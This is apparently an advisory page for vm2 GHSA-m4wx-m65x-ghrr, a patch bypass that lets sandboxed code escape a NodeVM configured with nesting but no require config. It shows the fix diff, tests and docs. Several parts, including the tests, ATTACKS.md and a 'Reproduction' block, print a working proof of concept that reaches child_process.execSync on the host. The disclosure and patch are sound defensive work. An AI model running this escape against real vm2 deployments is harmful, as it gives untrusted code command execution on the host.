+ module.exports = inner.run('module.exports = require("child_process").execSync("echo PWN").toString().trim()'); + `); + }, err => err instanceof VMError && /GHSA-m4wx-m65x-ghrr/.test(err.message)); + }); + + // ─── Regression guards: legitimate configs continue to work ───────────── + + it('accepts { nesting: true, require: Object.create(null) } (null-proto config object)', () => { + // A plain object with a null prototype is still a non-null object + // — counts as deliberate acknowledgment of the escape hatch. + assert.doesNotThrow(() => new NodeVM({nesting: true, require: Object.create(null)})); + }); + + it('accepts { nesting: true, require: <Resolver> } (custom resolver path)', () => { + // `customResolver = requireOpts instanceof Resolver` short-circuits + // `makeResolverFromLegacyOptions`, so NESTING_OVERRIDE is never even + // injected into a custom Resolver — the guard must not reject it. + const { makeResolverFromLegacyOptions } = require('../../../lib/main.js'); + const customResolver = makeResolverFromLegacyOptions({builtin: []}); + assert.doesNotThrow(() => new NodeVM({nesting: true, require: customResolver})); + }); + });
01a7552add34fix(GHSA-m4wx-m65x-ghrr): close NESTING_OVERRIDE resolver for falsy/omitted require
7 files changed · +219 −50
CHANGELOG.md+5 −1 modified@@ -2,7 +2,7 @@ ## [3.11.4] -Five advisories closed. Patch release — no API changes. +Six advisories closed. Patch release — no API changes for valid configurations. ### Security fixes @@ -11,7 +11,11 @@ Five advisories closed. Patch release — no API changes. - **GHSA-v6mx-mf47-r5wg** — host prototype mutation via apply-trap indirection. Sandbox code could reach host prototype-mutating setters (`Object.prototype.__proto__`, `setPrototypeOf`, `defineProperty`, `__defineSetter__`/`__defineGetter__`) through `Function.prototype.{call,apply,bind}` and `Reflect.{apply,construct}` indirection, sever a host intrinsic's prototype chain, and escape via the bridge's `thisEnsureThis` proto-walk fallthrough. Two-layer structural fix in `lib/bridge.js` (apply-trap blocklist + cache check before proto-walk). See ATTACKS.md Category 30 and `test/ghsa/GHSA-v6mx-mf47-r5wg/`. - **GHSA-q3fm-4wcw-g57x** — Defense Invariant #11 hardening for `defaultSandboxPrepareStackTrace` (second variant of GHSA-9qj6-qjgg-37qq in a different file). The sandbox stack-trace formatter accumulated frames in a sandbox-realm array and `.join`-ed them, so a sandbox-installed setter on `Array.prototype[N]` (or `.join` override) observed bridge-internal state — no host reference reachable today, but one enrichment away from regressing into the GHSA-9qj6 RCE shape. Fixed in `lib/setup-sandbox.js` by folding frames through a primitive string accumulator (no `Array.prototype` slot reachable) and converting `makeCallSiteGetters` to `localReflectDefineProperty` for symmetry. See ATTACKS.md Category 28 Variant B and `test/ghsa/GHSA-q3fm-4wcw-g57x/`. - **GHSA-76w7-j9cq-rx2j** — Promise species hijack in the `localPromise` swallow tail. The swallow-tail `apply(globalPromisePrototypeThen, this, [...])` call inside `localPromise`'s constructor invoked the cached host `Promise.prototype.then` without first calling `resetPromiseSpecies(this)`, so a sandbox subclass overriding `[Symbol.species]` could redirect the downstream child constructor to a user function and capture V8's internal `(resolve, reject)` capability — delivering a raw host-realm error (RangeError from deep recursion + `e.stack`) to a sandbox collector and reaching the host `Function` constructor via `.constructor.constructor`. One-line fix in `lib/setup-sandbox.js` adds the missing `resetPromiseSpecies(this)` before the swallow-tail call, matching the pattern already used by the `.then`/`.catch`/`Reflect.apply` overrides. See ATTACKS.md Category 31 and `test/ghsa/GHSA-76w7-j9cq-rx2j/`. +- **GHSA-m4wx-m65x-ghrr** — patch bypass of GHSA-8hg8-63c5-gwmx. The original check `options.require === false` only rejected the literal `require: false` shape; omitting `require` entirely left `options.require === undefined`, the check fell through, and the destructuring default `require: requireOpts = false` a few lines down produced the same `requireOpts = false` the original patch existed to block — inner NodeVM construction with attacker-chosen `require` config → `child_process` RCE. Structural fix in `lib/nodevm.js`: destructure first, then check `nesting === true && !requireOpts`, so every falsy/omitted shape collapses to the same construction-time `VMError`. The explicit-`require`-config escape hatch is preserved. Supersedes GHSA-8hg8-63c5-gwmx. See ATTACKS.md Category 25 and `test/ghsa/GHSA-m4wx-m65x-ghrr/`. +### Upgrade notes + +- **If you constructed `NodeVM({ nesting: true })` without an explicit `require` config** (including omitting `require` entirely, or setting it to `undefined`/`null`/`0`/`''`), `new NodeVM(...)` now throws (GHSA-m4wx-m65x-ghrr). Either drop `nesting: true`, or pass an explicit `require` config object (e.g. `require: { builtin: [] }`) to acknowledge that vm2 will be requireable from inside the sandbox. The error message is actionable and links to the README hardening section. ## [3.11.3]
docs/ATTACKS.md+34 −17 modified@@ -1816,28 +1816,37 @@ The race window between the canonicalization syscall and the subsequent loader s --- -## Attack Category 25: NodeVM `nesting: true` + `require: false` Configuration Trap +## Attack Category 25: NodeVM `nesting: true` Configuration Trap (NESTING_OVERRIDE-only resolver) + +**Supersedes**: GHSA-8hg8-63c5-gwmx's check on the raw `options.require === false` input, which only fired for the literal `require: false` shape and missed the much commoner "`require` omitted entirely" shape — see GHSA-m4wx-m65x-ghrr. ### Description `NodeVM`'s `nesting: true` option injects a `NESTING_OVERRIDE` builtin that exposes the `vm2` package to sandbox code regardless of any other `require` configuration. The override is unconditional — it survives `require: false`, narrow `builtin` allowlists, and every other restriction the user might set. With `vm2` reachable, the sandbox constructs an inner `NodeVM` whose `require` config is **chosen by the sandbox code, not constrained by the outer config** (this is by design of `nesting`). The inner NodeVM can be configured with `child_process`, `fs`, or any other host module → full host RCE. -The **specific** trap GHSA-8hg8-63c5-gwmx flagged is the contradictory pair `{ nesting: true, require: false }`: a developer who sets `require: false` to lock down modules then enables `nesting: true` for legitimate child-VM use believes the sandbox is restricted. It is not. The deeper issue — `nesting: true` is fundamentally an escape hatch — is separately documented in the README. +The trap is **any** `NodeVM` configuration where `nesting: true` is combined with a falsy/omitted `require`. `makeResolverFromLegacyOptions(falsy, NESTING_OVERRIDE, ...)` short-circuits on its `if (!options)` branch and returns a resolver whose only builtin is `vm2` — a pure escape primitive with no legitimate use: + +- `{ nesting: true, require: false }` ← GHSA-8hg8-63c5-gwmx PoC (explicit deny + nesting) +- `{ nesting: true }` ← GHSA-m4wx-m65x-ghrr PoC (default require kicks in) +- `{ nesting: true, require: undefined }` ← destructuring default still applies +- `{ nesting: true, require: null }` ← `null` is also `!options`-truthy in resolver-compat -CWE-284 (Improper Access Control). +All four collapse to the same insecure resolver. The original GHSA-8hg8 patch tested only the first shape with strict equality on the raw input, leaving the other three as bypasses. + +CWE-284 (Improper Access Control). CWE-697 (Incorrect Comparison) for the GHSA-m4wx bypass specifically. ### Attack Flow -1. **Host configures contradictory pair**: `new NodeVM({ nesting: true, require: false })`. -2. **Sandbox code requires `vm2`**: succeeds because `NESTING_OVERRIDE` injected `vm2` into the builtin map regardless of `require: false`. +1. **Host configures `nesting: true`** *without* providing an explicit `require` config object — e.g. `new NodeVM({ nesting: true })`. The developer assumes the absence of `require` means "no host modules" (matching the rest of the API's default-deny stance). +2. **Sandbox code requires `vm2`**: succeeds because `NESTING_OVERRIDE` injected `vm2` into the builtin map even though the surrounding `require` config is empty/denied. 3. **Sandbox constructs inner NodeVM** with attacker-chosen `require` config: `new NVM({ require: { builtin: ['child_process'] } })`. 4. **Inner sandbox loads `child_process`** and runs arbitrary commands as the host process user. ### Canonical Example ```javascript -// (advisory GHSA-8hg8-63c5-gwmx) -const vm = new NodeVM({ nesting: true, require: false }); +// GHSA-m4wx-m65x-ghrr PoC — patches the literal-PoC fix of GHSA-8hg8-63c5-gwmx. +const vm = new NodeVM({ nesting: true }); // `require` omitted; defaults to false post-destructure vm.run(` const { NodeVM: NVM } = require('vm2'); const inner = new NVM({ require: { builtin: ['child_process'] } }); @@ -1856,33 +1865,41 @@ The bug lives in `lib/resolver-compat.js` `makeResolverFromLegacyOptions`: function makeResolverFromLegacyOptions(options, override, compiler) { if (!options) { if (!override) return DENY_RESOLVER; // require:false alone → deny all - // require:false + nesting:true → permissive resolver with vm2 loadable: + // require:falsy + nesting:true → permissive resolver with vm2 loadable: const builtins = makeBuiltinsFromLegacyOptions(undefined, defaultRequire, undefined, override); return new Resolver(DEFAULT_FS, [], builtins); } ... } ``` -`require: false` makes `requireOpts` falsy; `nesting: true` passes `NESTING_OVERRIDE` as `override`. The `(!options && override)` branch builds a resolver containing the override (which carries `vm2`) instead of returning `DENY_RESOLVER`. `lib/builtin.js`'s `makeBuiltinsFromLegacyOptions` merges `override` unconditionally, so `vm2` always lands in the resolver's builtin map. +The GHSA-8hg8 patch tried to reject this configuration at the `NodeVM` constructor, but used `options.require === false` — strict equality against the raw input. The destructuring default (`require: requireOpts = false`) runs *after* the check, so omitting `require`, passing `undefined`, or any other path that doesn't write the literal `false` into `options.require` slipped past the guard and still produced `requireOpts = false`. The GHSA-m4wx bypass is purely the gap between "check the raw input shape" and "check the value actually used to build the resolver." -The reporter's framing — "mental-model mismatch" — is precise: there's no implementation bug in any individual line; the bug is the **interaction** between two options that look orthogonal but aren't. +The "mental-model mismatch" framing applies at two levels: the *configuration* trap (developers think `nesting: true` is orthogonal to `require`) and the *check* trap (the original patch checked the user-facing option name instead of the destructured value). ### Mitigation -`NodeVM` constructor (`lib/nodevm.js`) throws `VMError` immediately when both `nesting: true` and `require: false` are set explicitly. Same shape as the GHSA-cp6g eager FileSystem-contract probe — surface contradictory configuration at construction with a clear, actionable error message citing the advisory and pointing to the README escape-hatch section. Enforces the principle that any configuration where vm2 cannot honor the developer's stated intent must fail loudly at the API surface, not produce a silently-permissive sandbox. +`NodeVM` constructor (`lib/nodevm.js`) destructures options first, then throws `VMError` when `nesting === true && !requireOpts`. The check now lives on the value that actually drives `makeResolverFromLegacyOptions`, so every falsy/omitted path collapses to the same rejection regardless of how the embedder wrote the option: + +```javascript +const { require: requireOpts = false, nesting = false, /* ... */ } = options; +if (nesting === true && !requireOpts) { + throw new VMError('NodeVM `nesting: true` requires an explicit `require` config. …'); +} +``` -The narrow fix closes the **specific** contradictory pair. The **broader** issue — `nesting: true` is documented as an escape hatch and grants sandbox code unrestricted host access via inner NodeVMs — is now documented prominently in README § "`nesting: true` is an escape hatch" and in the JSDoc on the `nesting` option. Embedders running untrusted code should not enable `nesting: true`. +This restores **Defense Invariant: Configurations that produce a NESTING_OVERRIDE-only resolver must fail loudly at construction.** The escape hatch (`nesting: true` + an explicit `require` config object, even `{}`) continues to work — the developer's "I accept the trade-off" signal is visible in the call site. ### Detection Rules -- **`new NodeVM({ nesting: true, ... })`** with any `require` setting in code reviewing untrusted-code flows — flag as a likely escape path. -- **`new NodeVM({ nesting: true, require: false })`** specifically — now throws at construction, but pre-3.11.1 codebases may have this pattern. -- **Sandbox code containing `require('vm2')`** — only reachable when `nesting: true`; almost always indicates an escape attempt unless the embedder explicitly built a VM-spawning host integration. +- **`new NodeVM({ nesting: true, ... })`** with any falsy/omitted `require` setting — flagged at construction with `VMError` mentioning GHSA-m4wx-m65x-ghrr. +- **`new NodeVM({ nesting: true })`** with no `require` field at all — closed by GHSA-m4wx-m65x-ghrr (was the loophole the original GHSA-8hg8 fix left open). +- **Sandbox code containing `require('vm2')`** — only reachable when `nesting: true` *and* an explicit `require` config; almost always indicates an escape attempt unless the embedder explicitly built a VM-spawning host integration. ### Considered Attack Surfaces -- **`{ nesting: true, require: { builtin: ['something'] } }`** (no `require: false`) — does NOT throw. The developer has explicitly opted into the escape hatch by configuring a non-`false` require. The README and JSDoc loudly state that `nesting: true` is unsafe for untrusted code; this is a documentation-level mitigation, not a code-level one. Constraint propagation from outer to inner NodeVM (where the outer's `require` config would constrain inner construction) is out of scope for the 3.11.1 patch — it would change the documented semantics of `nesting: true` substantially. +- **`{ nesting: true, require: { builtin: ['something'] } }`** — does NOT throw. The developer has explicitly opted into the documented escape hatch. README and JSDoc loudly state that `nesting: true` is unsafe for untrusted code; this is a documentation-level mitigation. Constraint propagation from outer to inner NodeVM is out of scope. +- **`{ nesting: true, require: {} }`** — also does NOT throw. An empty object is a truthy explicit signal; `makeResolverFromLegacyOptions` falls into the "options-provided" branch and builds a resolver where the only builtin is still `vm2` (via override), but the developer's intent is visible at the call site. - **Sandbox-side `require('vm2')` when `nesting: false`** — already throws `EDENIED` because the override is not installed. Unaffected. - **`mocks` / `overrides`** — bypass the resolver entirely; unaffected by this fix and unaffected by `nesting: true` (mocks don't carry the `vm2` package). @@ -2756,7 +2773,7 @@ The most dangerous attacks combine multiple categories. Each pattern references | Array species self-return | set/defineProperty traps + neutralizeArraySpecies + SPECIES_ATTACK_SENTINEL | | Host prepareStackTrace fallback | Safe default always set; setter resets to safe default instead of `undefined` | | NodeVM `require.root` symlink bypass | `isPathAllowed` realpaths candidate before prefix check; `rootPaths` canonicalized at construction; deny-by-default if realpath throws | -| NodeVM `nesting: true` + `require: false` config trap | Constructor throws `VMError` at the contradictory option pair, citing GHSA-8hg8-63c5-gwmx and the README escape-hatch section | +| NodeVM `nesting: true` + falsy/omitted `require` config trap | Constructor destructures first, then throws `VMError` whenever `nesting === true && !requireOpts` (covers `require: false`, `undefined`, `null`, `0`, and the field being omitted). Citing GHSA-m4wx-m65x-ghrr (supersedes GHSA-8hg8-63c5-gwmx) and the README escape-hatch section | | Sandbox-realm null-proto via bridge `from()` set-trap write-through (GHSA-9vg3-4rfj-wgcm) | `handleException` and sandbox-Promise.then onFulfilled use `ensureThis` (sandbox-realm passthrough); host-Promise rejection sanitiser composes `from()` outside `handleException` so the GHSA-mpf8 invariant still wraps host null-proto values | | Internal state probe via computed property access on `globalThis` (GHSA-2cm2-m3w5-gp2f) | Bootstrap script declares `let VM2_INTERNAL_STATE_…` at script-top so the binding lands in the context's `[[GlobalLexicalEnvironment]]`; transformer-emitted `${INTERNAL_STATE_NAME}.handleException(…)` resolves there as before, but `globalThis[k]`, `Reflect.get`, descriptor APIs, and own-property enumeration cannot reach it (the global object's own-key table no longer contains the entry). Supersedes the identifier-only mitigation of GHSA-wp5r-2gw5-m7q7 by closing the entire computed-key class structurally. | | Bridge-internal container via `Array.prototype[N]` setter (Category 28: GHSA-9qj6-qjgg-37qq Variant A + GHSA-q3fm-4wcw-g57x Variant B) | Variant A — `neutralizeArraySpeciesBatch` in `lib/bridge.js` writes saved entries via `thisReflectDefineProperty`; appended slot is an own data property and no sandbox-installed setter is invoked while the bridge holds raw saved state. Variant B — `defaultSandboxPrepareStackTrace` in `lib/setup-sandbox.js` accumulates frames in a string via primitive concatenation rather than an array, removing every reachable `Array.prototype` slot (index setter, getter, and `.join`); `makeCallSiteGetters` installs entries via `localReflectDefineProperty` for symmetry |
lib/nodevm.js+35 −22 modified@@ -250,28 +250,6 @@ class NodeVM extends VM { * @throws {VMError} If the compiler is unknown. */ constructor(options = {}) { - // SECURITY (GHSA-8hg8-63c5-gwmx): `nesting: true` injects a NESTING_OVERRIDE - // builtin that exposes `vm2` to the sandbox regardless of `require: false`. - // The sandbox then constructs an inner NodeVM with attacker-chosen `require` - // config (unconstrained by the outer config — by design of nesting) and - // reaches `child_process` for full host RCE. The contradictory option pair - // is the specific trap the advisory describes; reject it at construction - // with a clear error rather than silently producing an unsandboxed config. - // (Bare `nesting: true` without `require: false` continues to work as the - // documented escape hatch; the README "`nesting: true` is an escape hatch" - // section explains the broader trade-off.) - if (options.nesting === true && options.require === false) { - throw new VMError( - 'NodeVM `nesting: true` is incompatible with `require: false`. ' - + '`nesting: true` is an escape hatch that lets sandbox code ' - + '`require(\'vm2\')` and construct nested VMs unconstrained by the outer ' - + 'config — which contradicts `require: false`. To deny all requires, ' - + 'remove `nesting: true`. To allow nested VMs, replace `require: false` ' - + 'with an explicit config (e.g. `require: { builtin: [] }`) so the ' - + 'tradeoff is visible. See README "`nesting: true` is an escape hatch". ' - + 'Context: GHSA-8hg8-63c5-gwmx.' - ); - } const { compiler, eval: allowEval, @@ -290,6 +268,41 @@ class NodeVM extends VM { bufferAllocLimit } = options; + // SECURITY (GHSA-m4wx-m65x-ghrr, supersedes GHSA-8hg8-63c5-gwmx): + // `nesting: true` injects a NESTING_OVERRIDE builtin that exposes `vm2` to + // the sandbox. When `requireOpts` is also falsy, `makeResolverFromLegacyOptions` + // hits its `if (!options)` branch and builds a resolver whose ONLY builtin + // is `vm2` — a pure escape primitive (sandbox does `require('vm2')`, builds + // an inner NodeVM with attacker-chosen `require` config, reaches + // `child_process` for host RCE). + // + // The check must run *after* destructuring and against `requireOpts`, not + // against the raw `options.require`, because the destructuring default + // (`require: requireOpts = false`) collapses every falsy/omitted path to + // the same insecure resolver: + // - `require: false` → requireOpts = false (GHSA-8hg8 PoC) + // - `require` omitted → requireOpts = false (GHSA-m4wx PoC) + // - `require: undefined` → requireOpts = false (default kicks in) + // - `require: null` / `0` / '' → requireOpts is null/0/'' + // All of them hit `if (!options)` in makeResolverFromLegacyOptions and + // produce the NESTING_OVERRIDE-only resolver. Use `!requireOpts` to reject + // every shape that yields that resolver; the documented escape hatch + // (`nesting: true` + an explicit `require` config object, even `{}`) + // continues to work — the developer's intent is then visible. + if (nesting === true && !requireOpts) { + throw new VMError( + 'NodeVM `nesting: true` requires an explicit `require` config. ' + + '`nesting: true` is an escape hatch that exposes `vm2` to the ' + + 'sandbox (sandbox code can `require(\'vm2\')` and construct nested ' + + 'VMs unconstrained by the outer config). With `require` falsy or ' + + 'omitted, the resolver exposes ONLY `vm2` — a pure escape primitive. ' + + 'To deny all requires, remove `nesting: true`. To allow nested VMs, ' + + 'pass an explicit `require` config (e.g. `require: { builtin: [] }`) ' + + 'so the tradeoff is visible. See README "`nesting: true` is an escape ' + + 'hatch". Context: GHSA-m4wx-m65x-ghrr (supersedes GHSA-8hg8-63c5-gwmx).' + ); + } + // Throw this early if (sandbox && 'object' !== typeof sandbox) { throw new VMError('Sandbox must be an object.');
README.md+1 −1 modified@@ -518,7 +518,7 @@ vm.run(` If you set `nesting: true`, you have effectively granted the sandbox the same trust level you have. **Do not enable `nesting: true` for untrusted code.** Use it only when you trust the sandboxed code itself but want VM-style execution semantics (fresh global, controlled timeouts) for non-security reasons. -The combination `{ nesting: true, require: false }` throws `VMError` at construction (GHSA-8hg8-63c5-gwmx) because the pair is contradictory: `nesting: true` makes `vm2` requireable regardless of `require: false`, so the deny-all expectation cannot be honored. To deny all requires, remove `nesting: true`. To allow nested VMs, replace `require: false` with an explicit config so the tradeoff is visible. +`nesting: true` **requires an explicit `require` config object** (e.g. `require: { builtin: [] }` or `require: {}`). Any other shape — `require: false`, `require: undefined`, `require: null`, or omitting `require` entirely — throws `VMError` at construction (GHSA-m4wx-m65x-ghrr, supersedes GHSA-8hg8-63c5-gwmx). All of those shapes produce a NESTING_OVERRIDE-only resolver: the sandbox can `require('vm2')` but nothing else, which is a pure escape primitive with no legitimate use. To deny all requires, remove `nesting: true`. To allow nested VMs, provide an explicit `require` config so the trade-off is visible at the call site. ## Known Issues
test/ghsa/GHSA-8hg8-63c5-gwmx/repro.js+10 −7 modified@@ -62,13 +62,16 @@ describe('GHSA-8hg8-63c5-gwmx — nesting: true bypasses require: false', () => assert.doesNotThrow(() => new NodeVM({ nesting: true, require: { builtin: [] } })); }); - it('accepts { nesting: true } alone (default require — escape-hatch use, documented)', () => { - // Bare `nesting: true` continues to work as documented. The README - // "`nesting: true` is an escape hatch" section explains the trade-off. - // Not closed here (would require Option C constraint propagation — - // out of scope for 3.11.1). This regression test ensures the narrow - // fix doesn't accidentally break the bare-nesting case. - assert.doesNotThrow(() => new NodeVM({ nesting: true })); + it('rejects { nesting: true } alone (closed by GHSA-m4wx-m65x-ghrr)', () => { + // The original fix left this loophole — bare `nesting: true` produced the + // same NESTING_OVERRIDE-only resolver as `{ nesting: true, require: false }` + // because the destructuring default `require: requireOpts = false` runs + // after the check. GHSA-m4wx-m65x-ghrr moves the check after destructuring + // and uses `!requireOpts`, so this configuration now throws too. + assert.throws( + () => new NodeVM({ nesting: true }), + err => err instanceof VMError && /GHSA-m4wx-m65x-ghrr/.test(err.message) + ); }); it('accepts { require: false } alone (no nesting — deny all requires)', () => {
test/ghsa/GHSA-m4wx-m65x-ghrr/repro.js+125 −0 added@@ -0,0 +1,125 @@ +/** + * GHSA-m4wx-m65x-ghrr — GHSA-8hg8-63c5-gwmx patch bypass via omitted `require` + * + * ## Vulnerability + * The GHSA-8hg8-63c5-gwmx fix added a guard at the top of `NodeVM`: + * + * if (options.nesting === true && options.require === false) throw VMError(...) + * + * The check used strict equality against the raw input `options.require`. + * `options.require === false` is only true when the embedder *explicitly* + * sets `require: false`. Omitting `require` entirely (the much more common + * case) leaves `options.require === undefined`, the check is skipped, and + * the destructuring default a few lines below (`require: requireOpts = false`) + * yields the exact `requireOpts = false` the patch was meant to prevent. + * + * `makeResolverFromLegacyOptions(false, NESTING_OVERRIDE, ...)` then builds a + * resolver whose only builtin is `vm2`. Sandbox code does + * `require('vm2')`, constructs an inner `NodeVM({ require: { builtin: + * ['child_process'] } })` whose config is *not* constrained by the outer VM, + * and reaches `child_process.execSync` for full host RCE. + * + * Same insecure resolver is produced for: `require: false`, `require: undefined`, + * `require: null`, `require: 0`, `require: ''` — any falsy value, including + * "field omitted entirely". + * + * ## Fix + * Move the check *after* destructuring and test the computed `requireOpts` + * with `!requireOpts` so every path that produces a NESTING_OVERRIDE-only + * resolver is rejected at construction: + * + * const { require: requireOpts = false, nesting = false, ... } = options; + * if (nesting === true && !requireOpts) throw VMError(...) + * + * This subsumes the GHSA-8hg8-63c5-gwmx fix: explicit `require: false`, + * omitted `require`, and any other falsy value all collapse to the same + * rejection. The escape hatch (`nesting: true` + an explicit `require` + * config object) continues to work — the developer's intent is visible. + */ + +'use strict'; + +const assert = require('assert'); +const {NodeVM, VMError} = require('../../../lib/main.js'); + +describe('GHSA-m4wx-m65x-ghrr — nesting:true without explicit require still RCE', () => { + + it('rejects { nesting: true } alone (require omitted → defaults to false)', () => { + // The literal PoC config from the advisory. + assert.throws( + () => new NodeVM({nesting: true}), + err => err instanceof VMError + && /nesting/.test(err.message) + && /require/.test(err.message) + && /GHSA-m4wx-m65x-ghrr/.test(err.message), + 'construction must fail with a VMError citing nesting, require, and the advisory' + ); + }); + + it('rejects { nesting: true, require: undefined } (explicit undefined)', () => { + assert.throws( + () => new NodeVM({nesting: true, require: undefined}), + err => err instanceof VMError && /GHSA-m4wx-m65x-ghrr/.test(err.message) + ); + }); + + it('rejects { nesting: true, require: null } (null → falsy, same insecure resolver)', () => { + // makeResolverFromLegacyOptions(null, NESTING_OVERRIDE) hits the + // `if (!options)` branch the same way `false` does. + assert.throws( + () => new NodeVM({nesting: true, require: null}), + err => err instanceof VMError && /GHSA-m4wx-m65x-ghrr/.test(err.message) + ); + }); + + it('rejects { nesting: true, require: 0 } (other falsy values)', () => { + assert.throws( + () => new NodeVM({nesting: true, require: 0}), + err => err instanceof VMError && /GHSA-m4wx-m65x-ghrr/.test(err.message) + ); + }); + + it('rejects { nesting: true, require: false } (still covers the original GHSA-8hg8 case)', () => { + // Regression guard for the prior fix — must continue to throw. + assert.throws( + () => new NodeVM({nesting: true, require: false}), + err => err instanceof VMError && /GHSA-m4wx-m65x-ghrr/.test(err.message) + ); + }); + + it('full PoC cannot reach require(\'vm2\') — construction throws before vm.run', () => { + // Without the fix this prints the host `id` output; with the fix the + // outer NodeVM never gets to vm.run(). + assert.throws(() => { + const vm = new NodeVM({nesting: true}); // <-- bare PoC config + vm.run(` + const { NodeVM: NVM } = require('vm2'); + const inner = new NVM({ require: { builtin: ['child_process'] } }); + module.exports = inner.run('module.exports = require("child_process").execSync("id").toString()'); + `); + }, err => err instanceof VMError && /GHSA-m4wx-m65x-ghrr/.test(err.message)); + }); + + it('accepts { nesting: true, require: { builtin: [] } } (explicit empty allowlist — escape hatch)', () => { + // Legitimate use: the developer explicitly opted into the documented + // "nesting is an escape hatch" trade-off by providing a require config. + assert.doesNotThrow(() => new NodeVM({nesting: true, require: {builtin: []}})); + }); + + it('accepts { nesting: true, require: {} } (empty object is a deliberate config)', () => { + // `require: {}` is truthy and counts as the developer having made an + // explicit choice (even if it permits nothing beyond the NESTING_OVERRIDE). + assert.doesNotThrow(() => new NodeVM({nesting: true, require: {}})); + }); + + it('accepts { require: false } alone (no nesting — deny-all stays valid)', () => { + // Regression guard: require:false without nesting must continue to work. + assert.doesNotThrow(() => new NodeVM({require: false})); + }); + + it('accepts { } (default constructor)', () => { + // The default config has nesting:false, so the new guard does not fire. + assert.doesNotThrow(() => new NodeVM()); + }); + +});
test/nodevm.js+9 −2 modified@@ -567,8 +567,15 @@ describe('modules', () => { describe('nesting', () => { it('NodeVM', () => { - const vm = new NodeVM({ - nesting: true + // SECURITY (GHSA-m4wx-m65x-ghrr): `nesting: true` alone (without an + // explicit `require` config) is now rejected at construction because + // the destructuring default produces an insecure NESTING_OVERRIDE-only + // resolver. To exercise legitimate nesting we pass an explicit empty + // `require` config — the developer's "I accept the escape-hatch tradeoff" + // signal documented in the README. + const vm = new NodeVM({ + nesting: true, + require: {builtin: []} }); const nestedObject = vm.run(`
Vulnerability mechanics
Root cause
"The GHSA-8hg8-63c5-gwmx security check used strict equality (`options.require === false`) against the raw constructor input, but the destructuring default `require: requireOpts = false` ran after the check, so omitting `require` (or passing `undefined`, `null`, `0`, `''`) bypassed the guard and still produced the insecure NESTING_OVERRIDE-only resolver."
Attack vector
An attacker running code inside a `NodeVM({ nesting: true })` sandbox (where `require` is omitted or falsy) calls `require('vm2')` — the `NESTING_OVERRIDE` builtin exposes `vm2` regardless of the outer `require` config [ref_id=1]. The attacker then constructs an inner `NodeVM` with an attacker-chosen `require` config (e.g. `{ builtin: ['child_process'] }`), which is unconstrained by the outer VM. The inner sandbox executes `child_process.execSync('id')`, achieving full host RCE. [CWE-284] [CWE-697]
Affected code
The bug is in `lib/nodevm.js` in the `NodeVM` constructor. The prior GHSA-8hg8-63c5-gwmx fix at line 263 used `options.require === false` — strict equality against the raw input — which only caught the literal `require: false` shape. The destructuring default `require: requireOpts = false` ran *after* the check, so omitting `require` (or passing `undefined`, `null`, `0`, `''`) produced the same insecure resolver. [patch_id=3104228] [patch_id=3104229]
What the fix does
Patch [patch_id=3104228] moves the security check *after* destructuring and tests `!requireOpts` instead of `options.require === false`, so every falsy/omitted path (`false`, `undefined`, `null`, `0`, `''`, or field omitted) collapses to the same rejection. Patch [patch_id=3104229] widens the guard further: `nesting` is checked as truthy (matching the `nesting && NESTING_OVERRIDE` gate) and `requireOpts` must be a non-null object or `Resolver` instance — this also catches truthy non-object `require` values (e.g. `true`, `1`, `'yes'`, functions) and truthy non-`true` `nesting` values (e.g. `1`, `'yes'`, `{}`). The documented escape hatch (truthy `nesting` + an explicit `require` config object) continues to work.
Preconditions
- configThe host must create a NodeVM with a truthy `nesting` option and without a real require-config object (require omitted, falsy, or a truthy non-object).
- inputThe attacker must be able to execute arbitrary JavaScript inside that outer NodeVM sandbox.
- inputThe outer sandbox code must be able to call `require('vm2')` (the NESTING_OVERRIDE builtin exposes vm2).
Reproduction
```javascript const { NodeVM } = require('vm2'); const nvm = new NodeVM({ nesting: true }); const result = nvm.run(` const { NodeVM } = require('vm2'); const inner = new NodeVM({ require: { builtin: ['child_process'] } }); module.exports = inner.run( "module.exports = require('child_process').execSync('id').toString()", 'exploit.js' ); `, 'exploit.js'); console.log(result); ```
Generated on May 29, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
5- github.com/advisories/GHSA-m4wx-m65x-ghrrghsaADVISORY
- github.com/patriksimek/vm2/commit/01a7552add345d5a6862623884e6b79a85bf0568ghsa
- github.com/patriksimek/vm2/commit/86ab819f202c3a8dad88cef5705f2e416c5188d7ghsa
- github.com/patriksimek/vm2/releases/tag/v3.11.4ghsa
- github.com/patriksimek/vm2/security/advisories/GHSA-m4wx-m65x-ghrrghsa
News mentions
0No linked articles in our index yet.